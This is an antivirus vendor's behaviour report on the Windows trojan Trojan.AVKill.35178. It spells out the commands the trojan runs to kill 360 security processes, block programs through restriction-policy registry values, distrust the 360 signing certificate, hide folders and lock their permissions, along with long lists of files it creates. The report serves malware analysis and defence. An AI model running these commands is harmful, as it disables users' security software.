Trojan.AVKill.35178

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RegInI.exe' "sekbit_data\Asekbit\DoBest\RasLock\Trust.ini"
'%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RegInI.exe' "sekbit_data\Asekbit\DoBest\RasLock\Uninst\UnRas.ini"

Запускает на исполнение:

'<SYSTEM32>\taskkill.exe' /f /im 360Tray.exe
'<SYSTEM32>\taskkill.exe' /f /im 360Safe.exe
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /f /v "DefaultLevel" /t REG_DWORD /d 262144
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /f /v "PolicyScope" /t REG_DWORD /d 0
'<SYSTEM32>\tasklist.exe'
'<SYSTEM32>\cacls.exe' "%APPDATA%\winsks_data" /c /t /p Everyone:f
'<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').popup('╝ь▓т╡╜360┴ў├е╬└╩┐бв─·▒╪╨ыб╛╣╪▒╒╗Є╨╢╘╪б┐360╔▒╢╛╚э╝■▓в╓╪╞Ї╝╞╦у╗·-╖╜┐╔╒¤│г╩╣╙├гб\n \n ▒╛╚э╝■╜л╘┌8├ы║є╫╘╗┘═╦│Ў',12,'б╛360б┐┴ў├е╬└╩┐:',16+4096);window.close();"
'<SYSTEM32>\find.exe' /i "360Tray.exe"
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /f /v "TransparentEnabled" /t REG_DWORD /d 1
'<SYSTEM32>\find.exe' /i "kxetray.exe"
'<SYSTEM32>\find.exe' /i "360sd.exe"
'<SYSTEM32>\find.exe' /i "QQPCTray.exe"
'<SYSTEM32>\find.exe' /i "KSafeTray.exe"
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /f /v "ExecutableTypes" /t REG_MULTI_SZ /d "ADE\0ADP\0BAS\0BAT\0CHM\0CMD\0COM\0CPL\0CRT\0EXE\0HLP\0HTA\0INF\0INS\0ISP\0LNK\0MDB\0MDE\0MSC\0MSI\0MSP\0MST\0OCX\0PCD\0PIF\0REG\0SCR\0SHS\0URL\0VB\0WSC"
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /f /v "AuthenticodeEnabled" /t REG_DWORD /d 1
'<SYSTEM32>\findstr.exe' /i "\deepscan$"
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\SystemCertificates\disallowed\Certificates\1E5BB77FCB63F26277F95AAE09B852699327A08A" /f /v "Blob" /t REG_BINARY /d 0300000001000000140000001e5bb77fcb63f26277f95aae09b852699327a08a0d000000010000000200000000001b0000000100000008000000c098bc15950acf012000000001000000bb050000308205b73082049fa003020102021051bd5d8e45b82a0210f17fe4c5233468300d06092a864886f70d01010505003081b4310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313b3039060355040b13325465726d73206f66207573652061742068747470733a2f2f7777772e766572697369676e2e636f6d2f727061202863293130312e302c06035504031325566572695369676e20436c617373203320436f6465205369676e696e672032303130204341301e170d3133303331313030303030305a170d3136303331303233353935395a3081fa310b300906035504061302434e3110300e060355040813074265696a696e673110300e060355040713074265696a696e6731353033060355040a142c5169686f6f2033363020536f66747761726520284265696a696e672920436f6d70616e79204c696d69746564313e303c060355040b13354469676974616c20494420436c6173732033202d204d6963726f736f667420536f6674776172652056616c69646174696f6e20763231193017060355040b1410546563682e204465762e20446570742e313530330603550403142c5169686f6f2033363020536f66747761726520284265696a696e672920436f6d70616e79204c696d6974656430820122300d06092a864886f70d01010105000382010f003082010a0282010100cb91a416824f2f4f22a089f116ebced11dce0d36692d7957b54b1f19ac217796ef1d54b31daae6d851d06ed900aba88be06c3b7b48a7fea084b7148e6f210c0d618525871b66231a6ad679e6aa1050cfc424d478f809d3e566954cd9550b3eee408d4af7f14c17e0561ad4ffab53d1db2c1ed98312ad821e087da7ee1035bba8a6ba1222106b40b2af93261d52cc6046796520fff8228311021b5ddd4f8c3ce8d04056c0e617fcdde473cd790100a63ded696dc2d1213723e7873e5cc6cad4fc4fcc585504abbf2a84478c5ca9f321cc9820ac6e1b10f1562658ce6df3711f04c6d036cbd184e52687b32f68cabe0e6b9da0487bb1e1ccb427dc07b0d009ed110203010001a382017b3082017730090603551d1304023000300e0603551d0f0101ff04040302078030400603551d1f043930373035a033a031862f687474703a2f2f637363332d323031302d63726c2e766572697369676e2e636f6d2f435343332d323031302e63726c30440603551d20043d303b3039060b6086480186f84501071703302a302806082b06010505070201161c68747470733a2f2f7777772e766572697369676e2e636f6d2f72706130130603551d25040c300a06082b06010505070303307106082b0601050507010104653063302406082b060105050730018618687474703a2f2f6f6373702e766572697369676e2e636f6d303b06082b06010505073002862f687474703a2f2f637363332d323031302d6169612e766572697369676e2e636f6d2f435343332d323031302e636572301f0603551d23041830168014cf99a9ea7b26f44bc98e8fd7f00526efe3d2a79d301106096086480186f84201010404030204103016060a2b06010401823702011b040830060101000101ff300d06092a864886f70d01010505000382010100b1e984808fbc7d3658d18d137c68f1277611af3e98408e495fd55de202bc04f7dc44ae362658e6b5f9dd97b5b383b94723bae937b8fb9e75bb92317a85bcee1989c90c318216da71629f3147ae647502e71e360d16b7cf7006927282265eb0014300650595d1cccc07ed28d9df246055981cec3485bc3173aef9b76912a6cbb2766fa5363e1fc0a91d4679db92e1e1b8dc84e1a14de55324d522670f9e574714b2959ea7a89db456e3debd34d35bbe6403389421ac76615e4ce194990b325132fa62279f31e86fb7043627343fef7118672d5f1ce4666a594d746bb3c69bf123f27c6cb24079fc490a382286d4e85fc118ca9a4612dda448b84a25bcd0fa2cf1
'<SYSTEM32>\attrib.exe' "%APPDATA%\SecMain" +s +h +r +a
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\sekout" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\..\Local" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\KuTiansoft" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%TEMP%\winkis_maxo" +s +h +r +a
'<SYSTEM32>\attrib.exe' "..\..\winkis_maxo" +s +h +r +a
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\winsks" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\winsks_data" +s +h +r +a
'<SYSTEM32>\attrib.exe' "<Имя диска съемного носителя>:\akfc_data" +s +h +r +a
'<SYSTEM32>\cacls.exe' "%TEMP%\winkis_maxo" /d everyone
'<SYSTEM32>\cacls.exe' "..\..\winkis_maxo" /d everyone
'<SYSTEM32>\cacls.exe' "<SYSTEM32>\winsks" /d everyone
'<SYSTEM32>\cacls.exe' "%APPDATA%\winsks_data" /d everyone
'<SYSTEM32>\attrib.exe' "%APPDATA%\*fav*" -s -h -r -a /s /d
'<SYSTEM32>\attrib.exe' "sekbit_data\Invisible\*.*" +s +r +h /s
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\Locals~1\Applic~1\*bookmark*" -s -h -r -a /s /d
'<SYSTEM32>\attrib.exe' "%APPDATA%\..\Local\*bookmark*" -s -h -r -a /s /d

Завершает или пытается завершить

следующие пользовательские процессы:

360tray.exe

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\aut4C.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\hao123Browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\aut4B.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Brmas\setting.ini
%TEMP%\aut4D.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\BlueView\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se6\User Data\Default\Preferences
%TEMP%\aut47.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se6\apps\data\users\login.ini
%TEMP%\aut49.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\browser\SysData\browserpref_v2
%TEMP%\aut48.tmp
%TEMP%\aut4E.tmp
%TEMP%\aut53.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Mozilla\Firefox\Profiles\6hq8vmhx.default\prefs.js
%TEMP%\aut52.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SecMain\Seckit\Bak\Tvirus.ras
%TEMP%\aut54.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\mybrowser\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Maxthon3\Users\guest\Config\config.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Kingsoft\BroPlugVer.ini
%TEMP%\aut4F.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\gsie\setting.ini
%TEMP%\aut51.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\LanGuang\setting.ini
%TEMP%\aut50.tmp
%TEMP%\aut46.tmp
%TEMP%\aut3D.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\Program\酷狗音乐web.lnk
%TEMP%\aut3C.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEsever\Hight.pfc
%TEMP%\aut3E.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEsever\Chage.pfc
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\Program\最新设计酷.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\KuMain\kavmain.lnk
%TEMP%\aut39.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\Hight\Internet Explorer.lnk
%TEMP%\aut3B.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\Options\Internet Explorer.lnk
%TEMP%\aut3A.tmp
%TEMP%\aut3F.tmp
%TEMP%\aut44.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\UpAlax\upsever\about.pfc
%TEMP%\aut43.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se\login.ini
%TEMP%\aut45.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\2345Explorer\Users\Default\Default.cfg
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\SecAlax\360main.pfc
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEsever\SekRun.pfc
%TEMP%\aut40.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEsever\Homepage.pfc
%TEMP%\aut42.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEsever\BakGen\Chage_IE.pfc
%TEMP%\aut41.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\variety.pfc
%TEMP%\aut67.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\UsersAppData\Tencent\QQPCMgr\TrustArea.db
%TEMP%\aut69.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\UpLoad\KuData\kavmain.exe
%TEMP%\aut68.tmp
%TEMP%\aut66.tmp
%TEMP%\aut64.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\ksafe\kusrtrst.dat
%TEMP%\aut63.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\UsersAppData\Tencent\QQPCMgr\qmvext.db
%TEMP%\aut65.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\SekBrmas\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\UpLoad\KuData\kavmain_bit.exe
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\360sd.sek
%APPDATA%\SecMain\Meta\360safe1.sek
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\360safe.sek
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\qqpcmgr.sek
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\kissafe.sek
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\kisvirus.sek
%TEMP%\winkis_maxo\vius_ok\sekbit_data\PorTable\variety.sek
%TEMP%\aut6B.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\UpLoad\KuData\kavmain_fav.exe
%TEMP%\aut6A.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Webkit\Patches
%TEMP%\aut6C.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\UpLoad\KuData\Main\kudown.pfc
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\security\kxescan\kusrtrst.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\Google\Chrome\User Data\Default\Preferences
%TEMP%\aut59.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\360Chrome\Chrome\User Data\Default\Preferences
%TEMP%\aut5B.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\liebao\User Data\Default\Preferences
%TEMP%\aut5A.tmp
%TEMP%\aut58.tmp
%TEMP%\aut56.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SekBrmas\setting.ini
%TEMP%\aut55.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\2345Chrome\User Data\Default\Preferences
%TEMP%\aut57.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SogouExplorer\config.xml
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\TaoBrowser\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\ressrc\chs\uplive.svr
%TEMP%\aut60.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\ressrc\chs\kcommon.ini
%TEMP%\aut62.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\security\kxescan\kusbcfg.ini
%TEMP%\aut61.tmp
%TEMP%\aut5F.tmp
%TEMP%\aut5D.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360Safe\360ss2.dat
%TEMP%\aut5C.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360sd\sl2.db
%TEMP%\aut5E.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360Safe\deepscan\speedmem2.hg0
%TEMP%\aut38.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\Tianlnk\2345u.url
%TEMP%\aut13.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\kumain.ico
%TEMP%\aut15.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\Tianlnk\duba123u.url
%TEMP%\aut14.tmp
%TEMP%\aut12.tmp
%TEMP%\aut10.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\dubaweb.ico
%TEMP%\autF.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\hao123.ico
%TEMP%\aut11.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\favicon.ico
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\Tianlnk\dubawebu.url
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\2345\2345all\Driver_D\2345智能浏览器.lnk
%TEMP%\aut1A.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\2345\2345all\Driver_D\2345加速浏览器.lnk
%TEMP%\aut1C.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\360se\360cse6\Driver_C\360极速浏览器.lnk
%TEMP%\aut1B.tmp
%TEMP%\aut19.tmp
%TEMP%\aut17.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\Tianlnk\hao123u.url
%TEMP%\aut16.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\2345\2345all\Driver_C\2345智能浏览器.lnk
%TEMP%\aut18.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\2345\2345all\Driver_C\2345加速浏览器.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\duba123.ico
%TEMP%\winkis_maxo\vius_ok\sekbit_data\usek.key
%TEMP%\aut5.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\desktop.ini
%TEMP%\aut7.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RegInI.exe
%TEMP%\aut6.tmp
%TEMP%\aut4.tmp
%TEMP%\aut2.tmp
%TEMP%\winkis_maxo\vius_ok\winsks.bat
%TEMP%\aut1.tmp
%TEMP%\winkis_maxo\vius_ok\winsks.ini
%TEMP%\aut3.tmp
%TEMP%\winkis_maxo\vius_ok\winsks.html
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\ShortCut.exe
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Extension\Patches
%TEMP%\autC.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RasLock\Uninst\UnTrust.ini
%TEMP%\autE.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\DeskAlax\TianIco\2345me.ico
%TEMP%\autD.tmp
%TEMP%\autB.tmp
%TEMP%\aut9.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RasLock\Ras.ini
%TEMP%\aut8.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RasLock\Uninst\UnRas.ini
%TEMP%\autA.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Asekbit\DoBest\RasLock\Trust.ini
%TEMP%\aut2F.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\qqbrowser\qqall\Driver_D\QQ浏览器.lnk
%TEMP%\aut2E.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\sogou\sgall\Driver_D\搜狗高速浏览器.lnk
%TEMP%\aut30.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\sogou\sgall\Driver_C\搜狗高速浏览器.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\qqbrowser\qqall\Driver_C\QQ浏览器.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\maxthon\maxthonall\Driver_C\傲游云浏览器.lnk
%TEMP%\aut2B.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\liebao\lball\Driver_D\猎豹浏览器.lnk
%TEMP%\aut2D.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\maxthon\maxthonall\Driver_D\傲游云浏览器.lnk
%TEMP%\aut2C.tmp
%TEMP%\aut31.tmp
%TEMP%\aut36.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEhosts\drivers_etc\hosts
%TEMP%\aut35.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\DriverD\winsks.lnk
%TEMP%\aut37.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IElnk\Biger\winsks.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEhosts\ReadTian.txt
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\taobao\tball\Driver_D\淘宝浏览器.lnk
%TEMP%\aut32.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\taobao\tball\Driver_C\淘宝浏览器.lnk
%TEMP%\aut34.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\IEAlax\IEexe\Internet Explorer.bak
%TEMP%\aut33.tmp
%TEMP%\aut2A.tmp
%TEMP%\aut21.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\baidu\bdall\Driver_D\百度浏览器.lnk
%TEMP%\aut20.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\chrome\chromeall\Driver_D\Google Chrome.lnk
%TEMP%\aut22.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\chrome\chromeall\Driver_C\Google Chrome.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\baidu\bdall\Driver_C\百度浏览器.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\360se\360se35\Driver_D\360安全浏览器.lnk
%TEMP%\aut1D.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\360se\360se35\Driver_C\360安全浏览器.lnk
%TEMP%\aut1F.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\360se\360se6\Driver_C\360安全浏览器6.lnk
%TEMP%\aut1E.tmp
%TEMP%\aut23.tmp
%TEMP%\aut28.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\hao123\hao123all\Driver_C\百度浏览器hao123专版.lnk
%TEMP%\aut27.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\liebao\lball\Driver_C\猎豹浏览器.lnk
%TEMP%\aut29.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\hao123\hao123all\Driver_D\百度浏览器hao123专版.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\gsie\gsieall\Driver_D\光速浏览器.lnk
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\firefox\firefoxall\Driver_D\Mozilla Firefox.lnk
%TEMP%\aut24.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\firefox\firefoxall\Driver_C\Mozilla Firefox.lnk
%TEMP%\aut26.tmp
%TEMP%\winkis_maxo\vius_ok\sekbit_data\ForAlax\ExpAleax\gsie\gsieall\Driver_C\光速浏览器.lnk
%TEMP%\aut25.tmp

Присваивает атрибут 'скрытый' для следующих файлов:

%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\TaoBrowser\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\liebao\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360Safe\360ss2.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360Safe\deepscan\speedmem2.hg0
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\2345Chrome\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SogouExplorer\config.xml
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\Google\Chrome\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\LocalAppData\360Chrome\Chrome\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\360\360sd\sl2.db
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\SekBrmas\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\ksafe\kusrtrst.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\UsersAppData\Tencent\QQPCMgr\TrustArea.db
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\UsersAppData\Tencent\QQPCMgr\qmvext.db
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\ressrc\chs\uplive.svr
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\ressrc\chs\kcommon.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\security\kxescan\kusrtrst.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\ProgramFiles\kingsoft\kingsoft antivirus\security\kxescan\kusbcfg.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\browser\SysData\browserpref_v2
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\BlueView\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Baidu\hao123Browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se\login.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\2345Explorer\Users\Default\Default.cfg
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se6\User Data\Default\Preferences
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\360se6\apps\data\users\login.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Brmas\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\mybrowser\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Mozilla\Firefox\Profiles\6hq8vmhx.default\prefs.js
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SekBrmas\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\SecMain\Seckit\Bak\Tvirus.ras
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Kingsoft\BroPlugVer.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\gsie\setting.ini
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\Maxthon3\Users\guest\Config\config.dat
%TEMP%\winkis_maxo\vius_ok\sekbit_data\Invisible\Driver_Data\AppData\LanGuang\setting.ini

Удаляет следующие файлы:

%TEMP%\aut47.tmp
%TEMP%\aut48.tmp
%TEMP%\aut49.tmp
%TEMP%\aut44.tmp
%TEMP%\aut45.tmp
%TEMP%\aut46.tmp
%TEMP%\aut4B.tmp
%TEMP%\aut4F.tmp
%TEMP%\aut50.tmp
%TEMP%\aut51.tmp
%TEMP%\aut4C.tmp
%TEMP%\aut4D.tmp
%TEMP%\aut4E.tmp
%TEMP%\aut3A.tmp
%TEMP%\aut3B.tmp
%TEMP%\aut3C.tmp
%TEMP%\aut37.tmp
%TEMP%\aut38.tmp
%TEMP%\aut39.tmp
%TEMP%\aut3D.tmp
%TEMP%\aut41.tmp
%TEMP%\aut42.tmp
%TEMP%\aut43.tmp
%TEMP%\aut3E.tmp
%TEMP%\aut3F.tmp
%TEMP%\aut40.tmp
%TEMP%\aut52.tmp
%TEMP%\aut63.tmp
%TEMP%\aut64.tmp
%TEMP%\aut65.tmp
%TEMP%\aut60.tmp
%TEMP%\aut61.tmp
